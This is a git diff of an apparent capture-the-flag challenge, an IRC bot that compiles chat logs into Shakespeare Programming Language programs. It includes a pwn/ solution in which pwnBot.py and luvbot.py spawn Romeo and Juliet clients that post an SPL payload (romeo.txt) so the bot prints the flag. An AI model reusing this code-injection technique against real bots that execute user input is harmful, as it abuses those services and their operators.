diff --git a/shakedbot/include/first_person_reflexive.wordlist b/shakedbot/include/first_person_reflexive.wordlist
new file mode 100644 (file)
index 0000000..1997a96
--- /dev/null
@@ -0,0 +1 @@
+myself
diff --git a/shakedbot/include/mathhelpers.h b/shakedbot/include/mathhelpers.h
new file mode 100644 (file)
index 0000000..4f48242
--- /dev/null
@@ -0,0 +1,12 @@
+
+int square(int x) {
+       return x * x;
+}
+
+int cube(int x) {
+       return x * x * x;
+}
+
+int twice(int x) {
+       return 2 * x;
+}
diff --git a/shakedbot/include/negative_adjective.wordlist b/shakedbot/include/negative_adjective.wordlist
new file mode 100644 (file)
index 0000000..79f98a7
--- /dev/null
@@ -0,0 +1,36 @@
+bad
+cowardly
+cursed
+damned
+dirty
+disgusting
+distasteful
+dusty
+evil
+fat
+fat-kidneyed
+fatherless
+foul
+hairy
+half-witted
+horrible
+horrid
+infected
+lying
+miserable
+misused
+oozing
+rotten
+skilless
+smelly
+snotty
+sorry
+stinking
+stuffed
+stupid
+tame
+unpracticed
+vile
+villainous
+weak
+worried
diff --git a/shakedbot/include/negative_comparative.wordlist b/shakedbot/include/negative_comparative.wordlist
new file mode 100644 (file)
index 0000000..c9196f6
--- /dev/null
@@ -0,0 +1,3 @@
+punier
+smaller
+worse
diff --git a/shakedbot/include/negative_noun.wordlist b/shakedbot/include/negative_noun.wordlist
new file mode 100644 (file)
index 0000000..e8b281e
--- /dev/null
@@ -0,0 +1,27 @@
+Apple
+Hell
+bastard
+beggar
+blister
+codpiece
+coward
+curse
+death
+devil
+draught
+famine
+flirt-gill
+goat
+hate
+hog
+hound
+ignorance
+leech
+lie
+pig
+plague
+starvation
+tear
+toad
+war
+wolf
diff --git a/shakedbot/include/neutral_adjective.wordlist b/shakedbot/include/neutral_adjective.wordlist
new file mode 100644 (file)
index 0000000..066e1de
--- /dev/null
@@ -0,0 +1,22 @@
+big
+black
+blue
+bluest
+bottomless
+furry
+green
+hard
+huge
+large
+little
+normal
+old
+purple
+red
+rural
+small
+tiny
+white
+yellow
+temporary
+limiting
diff --git a/shakedbot/include/neutral_noun.wordlist b/shakedbot/include/neutral_noun.wordlist
new file mode 100644 (file)
index 0000000..c77ec5c
--- /dev/null
@@ -0,0 +1,52 @@
+animal
+aunt
+brother
+cat
+chihuahua
+cousin
+cow
+daughter
+door
+face
+factor
+father
+fellow
+flatterer
+granddaughter
+grandfather
+grandmother
+grandson
+hair
+hamster
+horse
+infancy
+infant
+lamp
+lantern
+man
+mistletoe
+moon
+morning
+mother
+nephew
+niece
+nose
+purse
+road
+roman
+servant
+sister
+sky
+son
+squirrel
+stone wall
+thing
+town
+tree
+uncle
+value
+variable
+varlet
+virgin
+wind
+woman
diff --git a/shakedbot/include/nothing.wordlist b/shakedbot/include/nothing.wordlist
new file mode 100644 (file)
index 0000000..ebf5e6d
--- /dev/null
@@ -0,0 +1,2 @@
+nothing
+zero
diff --git a/shakedbot/include/positive_adjective.wordlist b/shakedbot/include/positive_adjective.wordlist
new file mode 100644 (file)
index 0000000..1dcd963
--- /dev/null
@@ -0,0 +1,37 @@
+amazing
+beautiful
+blossoming
+bold
+brave
+charming
+clearest
+cunning
+cute
+delicious
+embroidered
+fair
+fine
+gentle
+golden
+good
+handsome
+happy
+healthy
+honest
+lovely
+loving
+mighty
+noble
+peaceful
+pretty
+prompt
+proud
+reddest
+rich
+smooth
+sunny
+sweet
+sweetest
+trustworthy
+warm
+young
diff --git a/shakedbot/include/positive_comparative.wordlist b/shakedbot/include/positive_comparative.wordlist
new file mode 100644 (file)
index 0000000..8916c59
--- /dev/null
@@ -0,0 +1,6 @@
+better
+bigger
+fresher
+friendlier
+jollier
+nicer
diff --git a/shakedbot/include/positive_noun.wordlist b/shakedbot/include/positive_noun.wordlist
new file mode 100644 (file)
index 0000000..3fe83fe
--- /dev/null
@@ -0,0 +1,21 @@
+angel
+day
+flower
+girl
+happiness
+heaven
+hero
+joy
+king
+kingdom
+kitten
+lady
+lord
+lover
+plum
+pony
+prince
+rose
+summer
+warrior
+spaceman
diff --git a/shakedbot/include/roman_numbers.metaflex b/shakedbot/include/roman_numbers.metaflex
new file mode 100644 (file)
index 0000000..7e12b56
--- /dev/null
@@ -0,0 +1,5 @@
+ROMAN_THOUSANDS m+
+ROMAN_HUNDREDS  (c(d|m)|dc{0,3}|c{1,3})
+ROMAN_TENS      (x(l|c)|lx{0,3}|x{1,3})
+ROMAN_ONES      (i(v|x)|vi{0,3}|i{1,3})
+ROMAN_NUMBER    {ROMAN_ONES}|{ROMAN_TENS}{ROMAN_ONES}?|{ROMAN_HUNDREDS}{ROMAN_TENS}?{ROMAN_ONES}?|{ROMAN_THOUSANDS}{ROMAN_HUNDREDS}?{ROMAN_TENS}?{ROMAN_ONES}?
diff --git a/shakedbot/include/second_person.wordlist b/shakedbot/include/second_person.wordlist
new file mode 100644 (file)
index 0000000..d3e10c8
--- /dev/null
@@ -0,0 +1,3 @@
+thee
+thou
+you
diff --git a/shakedbot/include/second_person_possessive.wordlist b/shakedbot/include/second_person_possessive.wordlist
new file mode 100644 (file)
index 0000000..e70d4fe
--- /dev/null
@@ -0,0 +1,3 @@
+thine
+thy
+your
diff --git a/shakedbot/include/second_person_reflexive.wordlist b/shakedbot/include/second_person_reflexive.wordlist
new file mode 100644 (file)
index 0000000..cc23d84
--- /dev/null
@@ -0,0 +1,2 @@
+thyself
+yourself
diff --git a/shakedbot/include/terminals.metaflex b/shakedbot/include/terminals.metaflex
new file mode 100644 (file)
index 0000000..da7d88f
--- /dev/null
@@ -0,0 +1,15 @@
+:              { yylval.str = newstr(yytext); return COLON; }
+,              { yylval.str = newstr(yytext); return COMMA; }
+!              { yylval.str = newstr(yytext); return EXCLAMATION_MARK; }
+\[             { yylval.str = newstr(yytext); return LEFT_BRACKET; }
+\.             { yylval.str = newstr(yytext); return PERIOD; }
+\?             { yylval.str = newstr(yytext); return QUESTION_MARK; }
+\]             { yylval.str = newstr(yytext); return RIGHT_BRACKET; }
+
+{ROMAN_NUMBER}                         { yylval.str = newstr(yytext); return ROMAN_NUMBER; }
+"act"[[:space:]]+{ROMAN_NUMBER}                { yylval.str = newstr(yytext); return ACT_ROMAN; }
+"scene"[[:space:]]+{ROMAN_NUMBER}      { yylval.str = newstr(yytext); return SCENE_ROMAN; }
+
+[[:alnum:]]+   { yylval.str = newstr(yytext); return NONMATCH; }
+[[:space:]]+   /* Eat space (like Mantrid drones) */
+.              { yylval.str = newstr(yytext); return NONMATCH; }
diff --git a/shakedbot/include/third_person_possessive.wordlist b/shakedbot/include/third_person_possessive.wordlist
new file mode 100644 (file)
index 0000000..cb43b98
--- /dev/null
@@ -0,0 +1,4 @@
+his
+her
+its
+their
diff --git a/shakedbot/include/user_code_bottom.metaflex b/shakedbot/include/user_code_bottom.metaflex
new file mode 100644 (file)
index 0000000..e69de29
diff --git a/shakedbot/include/user_code_top.metaflex b/shakedbot/include/user_code_top.metaflex
new file mode 100644 (file)
index 0000000..422be70
--- /dev/null
@@ -0,0 +1,12 @@
+%{
+#include <stdio.h>
+
+#include "telma.h"
+#include "grammar.tab.h"
+#include "strutils.h"
+
+%}
+
+%option yylineno
+%option case-insensitive
+
diff --git a/shakedbot/make-spl-great-again.awk b/shakedbot/make-spl-great-again.awk
new file mode 100644 (file)
index 0000000..967c464
--- /dev/null
@@ -0,0 +1,52 @@
+#!/bin/awk -f
+BEGIN{ 
+}
+#Default
+{
+       date=$1
+       time=$2
+       rawMsg="\t"
+       msg = ""
+
+       startMsg=4
+
+       if($3 == "-!-")
+       {
+               sub("[(].+[)]", "", $4)
+               user = $4 
+
+               if(match(user, "[a-z]{6}bot") == 0)
+               {
+
+                       if( $6 == "left")
+                       {
+                               rawMsg="[Exit " user "]"
+                       }else{
+       
+                               rawMsg="[Enter " user "]\n" user ":"
+                       }
+                       msg = rawMsg
+               }
+       } else{
+       
+
+               for(i=4; i <= NF; i++)
+               {
+                       rawMsg = rawMsg " " $i
+               }
+               if( "<" user ">" == $3)
+               {
+                       msg = rawMsg
+                       sub(":","",msg)
+
+               }else{
+                       user = substr($3,2,length($3)-2)
+                       msg = "\n" user ":\n" rawMsg
+               }
+       }
+       gsub("[0-9]", "", msg)
+       print msg
+}
+END{
+       print "[Exeunt]"
+}
diff --git a/shakedbot/makeMexicanWall.py b/shakedbot/makeMexicanWall.py
new file mode 100644 (file)
index 0000000..22c25a6
--- /dev/null
@@ -0,0 +1,49 @@
+from random import randint
+from re import sub
+import subprocess
+
+def voteTrump(conversationPath, country):
+       nickNames = []
+       rawSPLCode = open(conversationPath + country + ".spla")
+       candidates = open("include/character.wordlist").readlines()
+
+       for line in rawSPLCode.readlines():
+               if "Enter" in line or "Exit" in line:
+                       words = line.split()
+                       nick = sub("\d", "", words[1][:-1])
+                       if nick not in nickNames and nick+"\n" in candidates:
+                               nickNames.append(nick)
+       infos = open("fbi_info")
+       infosList = infos.readlines()
+       returnList = []
+       for nick in nickNames:
+               returnList.append(nick +infosList[randint(0,len(infosList)-1)])
+       infos.close()
+       rawSPLCode.close()
+       return returnList
+
+def voteHillary(conversationPath, nick):
+       print("Converting IRC->SPL for " + nick)
+       fout = open(conversationPath + nick + ".spla", 'bw+')
+       #fout = open(channelOut[:-3]+ nick, 'w+')
+       args = ["/usr/bin/awk", "-f", "make-spl-great-again.awk", conversationPath + "out"]
+       fout.write(subprocess.check_output(args))
+       fout.close()
+
+def saveMerica(conversationPath, country):
+       souls = []
+       if not voteHillary(conversationPath, country):
+               souls = voteTrump(conversationPath, country)
+
+       contract = open(conversationPath + country + ".spl", 'w')
+       contract.write("Faust, a tragedy.\n")
+       contract.write("\n")
+       contract.writelines(souls)
+       contract.write("\n")
+       contract.write("Act I: " + country +"'s Independence Day.\n")
+       contract.write("Scene I: Make hacks not war.\n")
+       contract.write("\n")
+       contract.writelines(open(conversationPath + country+".spla").readlines())
+
+       contract.close()        
+
diff --git a/shakedbot/pwn/juliet.txt b/shakedbot/pwn/juliet.txt
new file mode 100644 (file)
index 0000000..8b13789
--- /dev/null
@@ -0,0 +1 @@
+
diff --git a/shakedbot/pwn/luvbot.py b/shakedbot/pwn/luvbot.py
new file mode 100644 (file)
index 0000000..c345238
--- /dev/null
@@ -0,0 +1,109 @@
+#! /usr/bin/env python
+#
+# Example program using irc.client.
+#
+# This program is free without restrictions; do anything you like with
+# it.
+#
+# Joel Rosdahl <joel@rosdahl.net>
+
+from time import sleep
+import irc.client
+import sys
+
+class PairPwn(irc.client.SimpleIRCClient):
+    friends = []
+    channels = []
+    status = None
+
+    def __init__(self, channel, payloadPath, reportChannel=None):
+        irc.client.SimpleIRCClient.__init__(self)
+        self.channel= channel
+        self.payload= payloadPath
+        self.reportChannel = reportChannel
+        self.status = "init"
+
+
+    def on_welcome(self, connection, event):
+        self.status = "welcomed"
+        print(connection.nickname + " was welcomed")
+        if self.reportChannel:
+           connection.join(self.reportChannel)
+        connection.join(self.channel)
+
+    def on_join(self, connection, event):
+        print(connection.nickname + " joined " + str(event.target))
+        if event.target == self.channel and "Romeo" in connection.nickname:
+           self.status = "ready"
+        else:
+           connection.privmsg(event.target, "I'm here!")
+
+    def on_disconnect(self, connection, event):
+        print(connection.nickname + " tries to disconnect")
+        print("status is ["+self.status+"]")
+        sys.exit(1)
+
+    def on_privmsg(self, connection, event):
+        print(connection.nickname + " recv " + str(event.arguments))
+        if event.arguments[0] == "done":
+           self.connection.quit()
+           return
+        elif "add friend" in event.arguments[0]:
+          friend = event.source[:event.source.index("!")]
+          if friend not in self.friends:
+             print("Accepted friend request from " + friend)
+             self.friends.append(friend) 
+        elif "pwn" in event.arguments[0] and self.status == "ready":
+          self.sendPayload()
+
+    def sendPayload(self):
+        print("Sending Payload")
+        for line in open(self.payload).readlines():
+            self.connection.privmsg(self.channel, line.replace("\n", ""))
+        
+        sleep(30)
+        
+        for friend in self.friends:
+           print("Telling " + friend + "...")
+           self.connection.privmsg(friend, "done")
+           self.status = "launched payload"
+        self.connection.quit("Using irc.client.py")
+
+def makeBot(server, port, nick, target="", fin = "pwn.raw"):
+    print("Crafting a Bot namend " +  nick)
+    c = PairPwn(target, fin)
+    try:
+        c.connect(server, port, nick)
+    except irc.client.ServerConnectionError as x:
+        print(x)
+        return 
+    return c
+
+def main():
+    if len(sys.argv) != 5:
+        args =""
+        for arg in sys.argv:
+          args += " " + arg
+        print("[" +args + "] is invalid")
+        print("Usage: luvbot <server[:port]> <nickname> <target> <file>")
+        print("\ntarget is a nickname or a channel.")
+        print("Trying to exit")
+        sys.exit(1)
+
+    s = sys.argv[1].split(":", 1)
+    server = s[0]
+    if len(s) == 2:
+        try:
+            port = int(s[1])
+        except ValueError:
+            print("Error: Erroneous port.")
+            print("Trying to exit")
+    else:
+        port = 6667
+    fin = sys.argv[4]
+    target = sys.argv[3]
+    nickname = sys.argv[2]
+    makeBot(server, port, nickname, target, fin).start()
+
+if __name__ == "__main__":
+    main()
diff --git a/shakedbot/pwn/pwnBot.py b/shakedbot/pwn/pwnBot.py
new file mode 100644 (file)
index 0000000..826ac77
--- /dev/null
@@ -0,0 +1,110 @@
+#! /usr/bin/env python
+#
+# Example program using irc.client.
+#
+# This program is free without restrictions; do anything you like with
+# it.
+#
+# Joel Rosdahl <joel@rosdahl.net>
+
+from time import sleep
+from random import randint
+import irc.client
+import sys
+import subprocess
+
+class PwnBot(irc.client.SimpleIRCClient):
+    def __init__(self, botName, flag):
+        irc.client.SimpleIRCClient.__init__(self)
+        self.botName= botName
+        self.flag = flag
+
+    def on_welcome(self, connection, event):
+        print(connection.nickname + " was welcomed")
+        print("Sending 'Hello' to Bot")
+        connection.privmsg(self.botName, "Hello")
+
+    def on_join(self, connection, event):
+        print(connection.nickname + " joined " + str(event.target))
+
+    def on_disconnect(self, connection, event):
+        sys.exit(1)
+
+    def launchSlaves(self, channel):
+       rname ="Romeo"+str(randint(1000,9999))
+       args= ["python", "luvbot.py", self.connection.server+ ":" + str(self.connection.port), rname, channel, "romeo.txt"]
+       subprocess.Popen(args)
+       
+       jname ="Juliet"+str(randint(1000,9999))
+       args = ["python", "luvbot.py", self.connection.server +":" + str(self.connection.port), jname, channel, "juliet.txt"]
+       subprocess.Popen(args)
+
+       sleep(10)
+
+       self.connection.privmsg(rname, "add friend")
+       self.connection.privmsg(rname, "pwn")
+
+    def on_privmsg(self, connection, event):
+        print(connection.nickname + " recv " + str(event.arguments))
+        if event.arguments[0] == "done" and "Romeo" in event.source:
+           self.connection.privmsg(self.botName, "done")
+
+    def on_privnotice(self, connection, event):
+        print(connection.nickname + " recv note " + str(event.arguments) + " from " + event.source)
+        if "You must!" in event.arguments[0] and self.botName in event.source :
+           print("Sending Auth Strint to Bot")
+           connection.privmsg(self.botName, "Who calls me?")
+        elif "Find me at" in event.arguments[0] and self.botName in event.source :
+           print("Extracting channel")
+           offset = len("Find me at ")
+           channel = event.arguments[0][offset:offset+17]
+           print("Launching Bots to "+ channel)
+           self.launchSlaves(channel)
+        elif "I will meet you at" in event.arguments[0] and self.botName in event.source :
+           print("Extracting channel")
+           offset = len("I will meet you at ")
+           channel = event.arguments[0][offset:offset+17]
+           print("Launching Bots to "+ channel)
+           self.launchSlaves(channel)
+        elif "declaim" in event.arguments[0] and self.botName in event.source :
+           print("Reconnection to last Session")
+           connection.privmsg(self.botName, "help")
+        elif "hackover2016" in event.arguments[0]:
+           if self.flag in event.arguments[0]:
+              print("Flag is online")
+              connection.privmsg(self.botName, "forget")
+              sys.exit(0)
+
+
+def makeMaster(server, port, nick, flag):
+    c = PwnBot("shakedbot", flag)
+    try:
+        c.connect(server, port, nick)
+    except irc.client.ServerConnectionError as x:
+        print(x)
+        return 
+    return c
+
+def main():
+    if len(sys.argv) != 4:
+        print("Usage: pwnBot <server[:port]> <nickname> <flag>")
+        print("\ntarget is a nickname or a channel.")
+        sys.exit(1)
+
+    s = sys.argv[1].split(":", 1)
+    server = s[0]
+    if len(s) == 2:
+        try:
+            port = int(s[1])
+        except ValueError:
+            print("Error: Erroneous port.")
+            sys.exit(1)
+    else:
+        port = 6667
+    nickname = sys.argv[2]
+    flag = sys.argv[3]
+    makeMaster(server, port, nickname, flag).start()
+
+if __name__ == "__main__":
+    main()
diff --git a/shakedbot/pwn/romeo.txt b/shakedbot/pwn/romeo.txt
new file mode 100644 (file)
index 0000000..151fd76
--- /dev/null
@@ -0,0 +1,16 @@
+You are as fair as the sum of a fair gentle sunny happy golden man and the sum of a fair gentle sunny happy golden proud man and the sum of a honest man and a man.
+Speak your mind!
+You are as noble as the the difference of yourself and a good man.
+Speak your mind!
+You are as fair as the sum of yourself and the sum of a warm nice fair good honest man and the sum of a rich man and a man.
+Speak your mind!
+You are as fair as a fair gentle sunny happy golden man.
+Speak your mind!
+You are as fair as the difference of a fair gentle sunny happy golden rich sweet man and the sum of a gentle sunny happy golden man and the sum of a fair good honest man and a sweet man.
+Speak your mind!
+You are as noble as the sum of yourself and the sum of a noble fair man and a rich man.
+Speak your mind!
+You are as fair as the sum of a fair gentle sunny happy golden man and the sum of a fair gentle sunny happy golden proud man and a man.
+Speak your mind!
+You are as fair as the difference of a fair gentle sunny happy golden rich sweet man and the sum of a gentle sunny happy golden man and the sum of a fair good honest man and a man.
+Speak your mind!